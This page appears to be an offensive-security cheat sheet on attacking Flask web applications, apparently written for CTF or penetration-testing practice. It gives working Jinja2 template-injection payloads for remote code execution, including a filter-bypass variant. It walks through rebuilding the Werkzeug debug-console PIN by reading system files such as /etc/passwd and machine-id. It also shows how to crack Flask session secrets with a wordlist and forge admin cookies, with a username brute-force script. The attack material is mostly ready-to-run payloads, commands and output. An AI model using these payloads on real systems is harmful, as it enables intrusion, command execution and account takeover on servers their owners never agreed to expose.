Flask

A Python library for routing and hosting a website

pagePython

Jinja2 Server-side Template Injection (SSTI)

Inject the Jinja2 templating language for when the render_template_string() function is used

1. Detect

{{7*7}}
{{config}}
{% debug %}

2. Find subclasses to use for RCE

''.__class__.mro()[1].__subclasses__()

Then take the response and replace , with \n in Visual Studio Code to easily see the line number of the index. The 'subprocess.Popen' key is an easy way to execute commands, but more can also be exploitable.

3. Use subclass for RCE

Find a vulnerable subclass and replace index 42 with the index of it in the __subclasses__():

{{''.__class__.mro()[1].__subclasses__()[42]('id',shell=True,stdout=-1).communicate()[0].strip()}}

Alternatively, try this one-shot that works on Flask applications specifically:

One shot
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

Filter Bypass

{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("id")|attr("read")()}}

Werkzeug - Debug Mode RCE (Console PIN)

Werkzeug is a very popular HTTP back-end for Python. Libraries like Flask use this in the back, and you might see "werkzeug" related response headers indicating this. It has a Debug Mode that will show some code context and stack traces when a server-side error occurs. These lines can expand to a few more lines to leak some source code, but the real power comes from the Console.

This PIN is generated deterministically, meaning it should be the same every time, but different per machine. It simply uses some files on the filesystem to generate this code, so if you have some way to read arbitrary files, you can recreate the PIN yourself.

Source Code

In the Traceback, you will likely see a path that contains flask/app.py. This is the path which the Flask source code is loaded from and will be needed later.

If you change the flask/app.py to werkzeug/debug/__init__.py, you will find the code that handles this Debug Mode and generates the PIN. There are a few different versions of this code as it has changed over the years, so to be sure of how it works you should read this file on the target.

The function of interest here is get_pin_and_cookie_name(): (note again that this code may be slightly different on the target)

def get_pin_and_cookie_name(app):
    """Given an application object this returns a semi-stable 9 digit pin
    code and a random key.  The hope is that this is stable between
    restarts to not make debugging particularly frustrating.  If the pin
    was forcefully disabled this returns `None`.
    """
    ...

    modname = getattr(app, "__module__", t.cast(
        object, app).__class__.__module__)
    username: t.Optional[str]

    try:
        # getuser imports the pwd module, which does not exist in Google
        # App Engine. It may also raise a KeyError if the UID does not
        # have a username, such as in Docker.
        username = getpass.getuser()
    except (ImportError, KeyError):
        username = None

    mod = sys.modules.get(modname)

    # This information only exists to make the cookie unique on the
    # computer, not as a security feature.
    probably_public_bits = [
        username,
        modname,
        getattr(app, "__name__", type(app).__name__),
        getattr(mod, "__file__", None),
    ]

    # This information is here to make it harder for an attacker to
    # guess the cookie name.  They are unlikely to be contained anywhere
    # within the unauthenticated debug page.
    private_bits = [
        str(uuid.getnode()), 
        get_machine_id()
    ]

    h = hashlib.sha1()  # <-- This may be md5() is some older werkzeug versions
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    cookie_name = f"__wzd{h.hexdigest()[:20]}"

    # If we need to generate a pin we salt it a bit more so that we don't
    # end up with the same value and generate out 9 digits
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]

    # Format the pincode in groups of digits for easier remembering if
    # we don't have a result yet.
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x: x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

    return rv, cookie_name

The most important things to note are the probably_public_bits and private_bits, which are the inputs for the randomness.

Public bits

The public bits are defined like so:

  • username: The user that started the program

  • modname: "flask.app" if running Flask, otherwise recreate the environment and log this value

  • getattr(app, "__name__", type(app).__name__): "Flask" if app.run(debug=True) is used, and "wsgi_app" if DebuggedApplication called manually

  • getattr(mod, "__file__", None): Absolute path to the flask/app.py file that the Traceback shows. May in some cases also be .pyc instead of .py

Most of these can be easily found by guessing or looking at the source code. Only the username might be unknown at first.

Finding the username

There are a few ways to make an educated guess about the username. The /proc/self/environ file might contain a USER variable, making it as simple as reading this file. If this does not work for any reason, try the method below:

In the /etc/passwd file all users and their uids are listed:

/etc/passwd
root:x:0:0:root:/root:/bin/bash
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
user:x:1000:1000:user:/home/user:/bin/bash

This gives a list of possible names. For a webserver www-data is common, but it could also be that another user on the system is hosting it.

To be sure, a trick you can use is to look at which users are using which port. By default, Flask uses port 5000, but this can be changed in the app.run() code. This trick uses the /proc/net/tcp file which shows a table of all the TCP connections on the system as a file:

/proc/net/tcp
sl local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt uid
0: 0100007F:1388 00000000:0000 0A 00000000:00000000 00:00000000 00000000  33
...

Here are two columns of interest. The local_address which is a hex-encoded IP and port number. Then uid which is the number that corresponds with a username in /etc/passwd. To decode the address and port, you can simply convert them from hex in a Python console:

Python
>>> '.'.join(str(int("0100007F"[i:i+2], 16)) for i in range(6, -1, -2))
'127.0.0.1'
>>> 0x1388
5000

Private bits

Lastly, there are two more private bits:

  • str(uuid.getnode()): The MAC address of the target, in decimal format. For example: 00:1B:44:11:3A:B7 would be 0x001B44113AB7 in hex, and '117106096823' in decimal. It can be found by reading the /proc/net/arp file to find the interface in the Device column, and then request the /sys/class/net/[interface]/address file to get the MAC address.

  • get_machine_id(): The way this machine-id is found again depends on the server werkzeug version, so read the function source in the same file to be sure. But often this is the /etc/machine-id file, or if that does not exist, the /proc/sys/kernel/random/boot_id file. After this value, a part of /proc/self/cgroup is also added if it exists. Take the first line and this code on it (likely to be an empty string):

    Python
    >>> b"14:misc:/".strip().rpartition(b"/")[2]
    b''
    >>> b"0::/system.slice/flask.service".strip().rpartition(b"/")[2]
    b'flask.service'

Generating the PIN

Finally, when you have all these required bits you can combine them in the same way the server would to recreate the PIN and access the console.

probably_public_bits = [
    'www-data',
    'flask.app',
    'Flask',
    '/usr/lib/python3/dist-packages/flask/app.py'
]
private_bits = [
    '345050109109',
    'e5987d8fd3a14193bb997b6afbdf2cca' + 'flask.service'
]

...  # <Insert werkzeug/debug/__init__.py -> get_pin_and_cookie_name() code here>

print(rv)  # 123-456-789

This should then generate the correct console PIN that you can put into the prompt when you try to execute Python code. After this is unlocked, you can simply run system commands:

>>> import os
>>> os.popen('id').read()
'uid=33(www-data) gid=33(www-data) groups=33(www-data)'

If you have a SECRET_KEY of the Flask application, you can forge your own session= cookies. This can be useful to bypass authentication or even try injection attacks inside the session's parameters.

Brute-Force

Install
pip install flask-unsign
$ flask-unsign --wordlist /list/rockyou.txt --unsign --cookie 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiajByMmFuIn0.Yu6Z8A._RI4cQ2NSYW2epWYt-mR5cfkg0U' --no-literal-eval
[*] Session decodes to: {'logged_in': True, 'username': 'j0r2an'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 17152 attempts
b'secret123'

You can also speed this up significantly using Hashcat, as can crack and even automatically detect Flask Session Cookies.

$ hashcat eyJsb2dnZWRfaW4iOmZhbHNlfQ.XD88aw.AhuKIwFPpzGDFLVbTcsmgEJu-s4 /list/rockyou.txt 
...
29100 | Flask Session Cookie ($salt.$salt.$pass) | Network Protocol

eyJsb2dnZWRfaW4iOmZhbHNlfQ.XD88aw.AhuKIwFPpzGDFLVbTcsmgEJu-s4:CHANGEME

Note that I have not always had successful results with hashcat. If you run into "No hash-mode matches the structure of the input hash" errors, try flask-unsign or manually set up the HMAC signature for hashcat to crack (see Cracking Signatures for some similar examples)

Forging Session

$ flask-unsign --sign --cookie "{'logged_in': True, 'username': 'admin'}" --secret 'secret123'
eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYWRtaW4ifQ.YvlBnA.yo-Ef_eiy_aeDBgBK-cQdcu-nRw

Tip: When put in a script it might need the --legacy argument to get correct timestamps. This depends on the Flask version

Scripted Forging

Using a Python script you can automate this forging process to forge lots of values and find different responses. For example:

find_users.py
from flask_unsign import session
from tqdm import tqdm
import requests

with open("/list/username.txt") as f:
    usernames = [l.strip() for l in f.readlines()]

SECRET_KEY = "secret123"

for username in tqdm(usernames):
    result = session.sign({'logged_in': True, 'username': username}, secret=SECRET_KEY, legacy=True)

    r = requests.get("http://10.10.11.160:5000/dashboard", cookies={"session": result}, allow_redirects=False)
    
    if r.status_code == 200:  # Found
        print("FOUND USER", username, result)

Last updated